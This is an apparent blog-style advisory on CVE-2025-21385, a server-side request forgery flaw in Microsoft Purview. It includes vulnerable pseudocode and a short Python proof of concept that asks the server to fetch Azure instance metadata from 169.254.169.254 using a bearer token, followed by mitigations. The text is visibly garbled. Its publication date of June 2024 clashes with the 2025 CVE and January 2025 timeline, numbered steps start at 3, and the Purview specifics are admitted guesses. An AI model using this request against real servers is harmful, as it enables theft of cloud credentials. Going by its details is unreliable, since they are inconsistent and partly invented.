CVE-2025-21385 - SSRF Vulnerability in Microsoft Purview – Details, Exploit Example, and Explanation

Published: June 2024
Author: [Your Name or Handle]

What is CVE-2025-21385?

CVE-2025-21385 is a Server-Side Request Forgery (SSRF) vulnerability found in Microsoft Purview. This vulnerability allows any authenticated user to make arbitrary network requests from the Purview server itself, leading to potential information leak inside a protected network. Essentially, a savvy attacker could remotely “ask” the server to fetch sensitive data, or contact internal resources not meant to be exposed.

Microsoft have released an official security advisory and patch, but let’s break down how this happens, what you need to know, and the technical specifics.

Understanding SSRF: A Simple Explanation

In SSRF attacks, the attacker tricks a server into sending HTTP requests (GET, POST, etc.) to a resource the attacker chooses. Why is this bad? Think of the server as your receptionist: if they’re tricked into calling private office lines just by you filling in a web form, someone can peek into your business.

This problem becomes dangerous when servers are able to access internal-only sites, cloud metadata endpoints (like AWS, GCP, or Azure IMDS), databases, or other private services.

Where is the Vulnerability in Microsoft Purview?

Microsoft Purview is a cloud-based data governance and data catalog offering. In certain Purview versions, there is a feature that lets users “import data” or “provide resource URLs.” The code (simplified) behind these features trusts input URLs too much.

Suppose an authenticated attacker can supply a URL, like so

{
   "resourceUrl": "http://internal-resource.corp:808/private";
}

The server-side code *fetches this URL* to validate or import data, using the Purview server’s own permissions and network access. If the attacker is able to point to any address, they can access things like:
- Local admin APIs (http://localhost:808/admin)

Internal databases or services

- Cloud metadata endpoints (like http://169.254.169.254/metadata/instance on Azure)

Vulnerable Example Snippet (Pseudocode)

Here is an example of insecure code logic that might appear in such a service.

import requests

def check_resource(request):
    url = request.json.get('resourceUrl')
    # BAD: no filtering, validation, or allowlist
    response = requests.get(url)
    return response.text

This function will fetch ANY URL the user submits, internal or external.

`

http://169.254.169.254/metadata/instance?api-version=2021-01-01

`

3. The Purview server retrieves this special IP – which on cloud platforms often contains sensitive metadata (credentials, config, etc.), and returns the data to the attacker.

In a real exploit, the attacker might instead enumerate other internal IPs and ports (“ssrf scanning”) to probe internal network topology — especially juicy in corporate or hybrid cloud setups.

Let’s assume you can reach the vulnerable endpoint at /api/validate. Here’s a minimal example

import requests

url = "https://purview-vuln.organization.com/api/validate";
payload = {
    "resourceUrl": "http://169.254.169.254/metadata/instance?api-version=2021-01-01"
}

session = requests.Session()
session.headers['Authorization'] = 'Bearer <YOUR_VALID_JWT_TOKEN>'

r = session.post(url, json=payload)
print(r.text)  # If unpatched, should output metadata!

Replace <YOUR_VALID_JWT_TOKEN> with a real token you get from logging in.

Microsoft addressed CVE-2025-21385 in recent Purview releases. Here’s what you should do

- Update your Purview installation: Official Microsoft Guidance
- Restrict outbound HTTP(s) from Purview servers: Use firewall rules or VNet NSG to block outbound traffic except to known trusted addresses.

Monitor logs: Look for suspicious resourceUrl inputs from users and abnormal traffic patterns.

- Input validation: Only allow certain URL patterns (e.g., block IP addresses, localhost, cloud metadata IPs, or enforce an allowlist).

References

- Microsoft Security Response Center – CVE-2025-21385
- OWASP: Server-Side Request Forgery (SSRF)
- Readable summary of SSRF

TL;DR

If you’re running Microsoft Purview, don’t let anyone point it at untrusted URLs. Patch right away, restrict outbound server HTTP, and check Microsoft’s security advisories regularly for updates on vulnerabilities like CVE-2025-21385.


*All code and information in this post is for educational defense purposes only. Never test against systems you don't own or don't have permission to audit!*

Timeline

Published on: 01/09/2025 22:15:29 UTC
Last modified on: 01/09/2025 22:32:45 UTC